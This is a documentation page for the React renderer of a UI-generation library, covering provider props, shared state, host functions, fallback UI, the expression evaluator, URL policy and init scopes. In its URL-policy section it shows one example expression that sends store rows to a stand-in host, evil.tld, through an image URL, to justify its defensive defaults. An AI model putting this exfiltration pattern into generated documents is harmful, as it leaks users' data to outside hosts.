Skip to Content
ReactProvider & Renderer

Renderer

<RendererProvider> holds your implementations, the evaluator with your host functions, the fallback UI and one reactive store. <EntriesRenderer> renders entries against that store and re-renders as state changes. It also renders on the server: see Server rendering.

Mounting a document

import { Evaluator } from "@uicast/expr"; import { EntriesRenderer, RendererProvider } from "@uicast/react"; import { impls } from "@uicast/shadcn-catalog/all/impls"; import { tools } from "@/tools"; const evaluator = new Evaluator({ functions: tools }); const entries = [ { key: "hello", component: "Typography", props: { literal: { text: "Hello" } } }, ]; <RendererProvider implementations={impls} evaluator={evaluator}> <EntriesRenderer entries={entries} /> </RendererProvider>;

One store, many renderers

The renderers under one provider form a group and share one root scope:

<RendererProvider implementations={impls} evaluator={evaluator}> <EntriesRenderer entries={ordersBlock} /> <EntriesRenderer entries={statsBlock} /> </RendererProvider>;
// ordersBlock { "key": "new-order", "component": "Button", "seed": [{ "set": "scopes.root.orderCount", "literal": 1 }], "props": { "literal": { "text": "New order" } }, "callbacks": { "onClick": [{ "set": "scopes.root.orderCount", "expr": "currentValue + 1" }] } } // statsBlock { "key": "order-count", "component": "Stat", "seed": [{ "set": "scopes.root.orderCount", "literal": 0 }], "props": { "expr": "({ label: 'Orders', value: scopes.root.orderCount })" } }

The Stat shows 1, not 0: seed is first-writer-wins, so the second seed keeps what the first wrote.

The Streamdown plugin relies on this: each ```uicast block is its own <EntriesRenderer>, and every block seeds everything it reads. To isolate documents, give each its own provider.

RendererProvider props

  • implementations: the implementations, matching the definitions. A duplicate name throws. To replace a catalog component, filter its name out of both arrays.
  • evaluator: runs every expression, with your host functions bound; see below.
  • urlPolicy (optional): which URLs may reach a prop the definition declares as a URL; see below.
  • fallbackComponents (optional): the UI the engine draws itself; see below.
  • init (optional): preloads state once for the group and can add named scopes; see below and State & Scopes.
  • onError (optional): called once per classified failure: everything the error slot shows, plus callback failures, which render no slot. See Error recovery.

<EntriesRenderer> takes one prop, entries, memoized on the array reference, so each streamed entry must arrive in a new array: setEntries((prev) => [...prev, next])

Settled subtrees do not re-render as later entries arrive. <EntriesRenderer> throws outside a <RendererProvider>.

Pass stable references

implementations, evaluator, fallbackComponents, urlPolicy and onError must keep their identity across renders, or every element re-renders. Use module constants:

const implementations = [...impls, MyCard]; // ✅ module scope const evaluator = new Evaluator({ functions: [listRows, deleteRow] }); // ✅ module scope // ❌ a fresh array each render — every node under it re-renders <RendererProvider evaluator={evaluator} implementations={[...impls, MyCard]}>…</RendererProvider>;

Host functions — only in seed and callbacks

A host function is a bare identifier in an expression, called as name(input), and only in seed and callbacks:

{ "key": "grid", "component": "DataGrid", "seed": [{ "set": "scopes.root.rows", "expr": "listRows()" }], "props": { "expr": "({ columns: [{ key: 'name', header: 'Name' }], rows: scopes.root.rows })" }, "callbacks": { "onRowClick": [ { "expr": "deleteRow({ id: evt.row.id })" }, // no `set` — runs for its effect alone { "set": "scopes.root.rows", "expr": "listRows()" } ] } }

props, hidden, loading and each evaluate synchronously, so a host call there is refused, and the element shows its error slot (guardrail-violation):

// ❌ { "key": "grid", "component": "DataGrid", "props": { "expr": "({ columns: [{ key: 'name', header: 'Name' }], rows: listRows() })" } }

fallbackComponents — the engine’s fallback UI

SlotRendered whenDefault
defaultSkeletonan implementation has no skeleton. It fills the slot of a child that has not streamed in. While an async seed or init loads, and in DocumentSkeleton, it stands in for an element without children; an element with children shows only its children.nothing
confirma callback step has confirm:window.confirm
errorany element-level failure: an implementation throws, an expression fails, an entry is misused as a list, or its component has no implementationa plain inline-styled div

The defaults need no UI library. The reference catalog has styled ones:

import { EntriesRenderer, RendererProvider } from "@uicast/react"; import { ConfirmModal, RenderError } from "@uicast/shadcn-catalog"; import { Skeleton } from "@uicast/shadcn-catalog/ui/skeleton"; const fallbackComponents = { defaultSkeleton: () => <Skeleton className="h-8 w-full" />, confirm: ConfirmModal, error: RenderError, }; <RendererProvider evaluator={evaluator} implementations={impls} fallbackComponents={fallbackComponents}> <EntriesRenderer entries={entries} /> </RendererProvider>;

Their props types are exported from @uicast/react:

type SkeletonComponentProps = { reason: "streaming" | "seeding"; // │ └─ the entry is here, its async `seed` / `init` is resolving // └─ the entry has not streamed in yet entry: ComponentEntry; // the element's own, or the parent's in a child's slot; nothing in it is evaluated knownProps?: Record<string, unknown>; // the props that need no evaluation (a literal or none), parsed and checked; absent in a child's slot children?: ReactNode; // the children's skeletons, to wrap in your own tag; null without children, absent in a child's slot }; type ConfirmComponentProps = { open: boolean; // the dialog is always mounted; this toggles it message: string; // the callback step's `confirm:` text onConfirm: () => void; onCancel: () => void; }; type ErrorComponentProps = { error: EntryError; // classified: switch on `error.reason` / `error.fault`; `error.elementKey` is the element's key };

Every failure, an unknown component included, is an EntryError. Your own RenderError can branch on it:

const RenderError = ({ error }: ErrorComponentProps) => { if (error.reason === "unknown-component") return <div>No implementation for “{error.elementKey}”</div>; // a "document" fault is the model's to fix; an "environment" fault is yours if (error.fault === "document") return <button onClick={() => regenerate(error.elementKey)}>Regenerate</button>; return <div>Something broke here: {error.message}</div>; }; const fallbackComponents = { error: RenderError }; <RendererProvider evaluator={evaluator} implementations={impls} fallbackComponents={fallbackComponents}> <EntriesRenderer entries={entries} /> </RendererProvider>;

regenerate is yours; see Error recovery.

confirm is controlled by open, so your component needs no state of its own. A step with confirm: opens it:

{ "key": "delete", "component": "Button", "props": { "literal": { "text": "Delete", "variant": "destructive" } }, "callbacks": { "onClick": [ { "confirm": "Delete this row? This can't be undone.", "expr": "deleteRow({ id: scopes.root.rowId })" }, { "set": "scopes.root.rows", "expr": "listRows()" } ] } }

On cancel, neither step runs.

evaluator — the expression evaluator

Every expression under the provider runs on this instance. Create it once, outside render: it holds the parse cache.

import { Evaluator } from "@uicast/expr"; const evaluator = new Evaluator({ functions: tools, // see Host functions maxSourceLength: 1000, // the default; tell the prompt the same number budget: { steps: 200_000 }, // optional ceilings }); <RendererProvider implementations={impls} evaluator={evaluator}> <EntriesRenderer entries={entries} /> </RendererProvider>;

Evaluator checks every read and call at run time and needs no CSP unsafe-eval. To change how it checks or runs expressions, see Custom evaluator.

The prop is typed ExpressionEvaluator (exported by @uicast/expr and @uicast/core); an evaluator for another language, with its own prompt, can implement it.

Expression length

An expression may be at most maxSourceLength characters (1000 by default); a longer one is rejected before parsing. Pass the same value to getExpressionsPartialPrompt({ maxLength }).

urlPolicy — the URLs a document may load

urlPolicy checks every prop the definition declares as a URL (z.url()), after props parse and before the implementation sees them. The evaluator allows "https://evil.tld/?d=" + JSON.stringify(scopes.root.rows), a valid expression, and <img src> fetches it on render, with no click.

By default only relative URLs, same-origin absolute URLs, raster data: images (never SVG, which can carry script) and inert schemes (mailto:, tel:, sms:, blob:) pass. Anything else fails the element into the error slot.

To allow more, pass an object or a predicate:

const urlPolicy = { hosts: ["cdn.example.com", "*.imgix.net"] }; <RendererProvider evaluator={evaluator} implementations={impls} urlPolicy={urlPolicy}> <EntriesRenderer entries={entries} /> </RendererProvider>;
FieldDefault
allowRelativetrue/a, a/b, ?q=1, #x; //host/a and \\host/a count as absolute
allowSameOrigintrueAbsolute URLs on the page origin
hosts[]Extra hosts over http/https; *.example.com matches subdomains only
allowDataImagestruedata: raster images; never image/svg+xml
originlocation.originSet it where there is no location (SSR)

A predicate, urlPolicy={(url) => boolean}, replaces these rules.

Pass the same policy to the prompt, so the model writes URLs the renderer loads. Its ## URL Props section lists them:

getComponentsPartialPrompt({ definitions, urlPolicy: { hosts: ["cdn.example.com", "*.imgix.net"] } });

Without urlPolicy, the section describes the defaults, as the renderer uses them. A predicate prints nothing: describe it in note.

init — preload state for the group

Runs once, when the first <EntriesRenderer> mounts, before its entries evaluate:

import type { InitFn } from "@uicast/react"; const init: InitFn = async ({ scopes }) => { scopes.root.user = await fetchUser(); }; <RendererProvider evaluator={evaluator} implementations={implementations} init={init}> <EntriesRenderer entries={entries} /> </RendererProvider>;

A returned Promise suspends the group, which draws the document’s skeleton until it resolves.

Extra named scopes

init can add scopes beyond root. Create one with createProxyScope, keep the handle, and assign it onto the scopes object init receives:

import { createProxyScope } from "@uicast/core"; const userCtx = createProxyScope({ name: "Hopper", plan: "pro" }); const init: InitFn = ({ scopes }) => { scopes.userCtx = userCtx; }; <RendererProvider evaluator={evaluator} implementations={implementations} init={init}> <EntriesRenderer entries={entries} /> </RendererProvider>;

An entry reads it like root:

{ "key": "hello", "component": "Typography", "props": { "expr": "({ text: 'Hi ' + scopes.userCtx.name })" } }

Host code can write to the handle at any time (userCtx.plan = "free"), and every document reading it re-renders.

Tell the model about it: no prompt builder knows the scope. Describe it in getCommonInstructionsPartialPrompt’s note, printed as a ## Note under the prompt’s # Expression Context:

getCommonInstructionsPartialPrompt({ note: "scopes.userCtx holds the signed-in user: name (string), plan ('free' | 'pro').", });

Nothing checks that the note matches the scope; keep them in sync. Steps can write its fields, as they write root’s, so a value you read back from it may come from the model.

Where to go next

Last updated on